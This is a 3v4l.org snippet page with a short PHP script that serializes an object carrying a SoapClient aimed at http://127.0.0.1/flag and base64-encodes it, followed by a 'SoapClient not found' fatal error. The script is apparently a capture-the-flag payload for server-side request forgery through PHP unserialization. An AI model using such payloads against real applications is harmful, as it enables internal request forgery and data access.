3v4l.org

run code in 500+ PHP versions simultaneously
<?php class UserPref { public $theme; public $lang; } $soap = new SoapClient(null, [ 'location' => 'http://127.0.0.1/flag', 'uri' => 'http://example.com' ]); $obj = new UserPref(); $obj->theme = $soap; $obj->lang = 'test'; echo base64_encode(serialize($obj)); ?>
Output for 8.2.31, 8.3.0 - 8.3.31, 8.4.1 - 8.4.22, 8.5.0 - 8.5.7
Fatal error: Uncaught Error: Class "SoapClient" not found in /in/ehFlL:7 Stack trace: #0 {main} thrown in /in/ehFlL on line 7
Process exited with code 255.

preferences:
48.28 ms | 756 KiB | 4 Q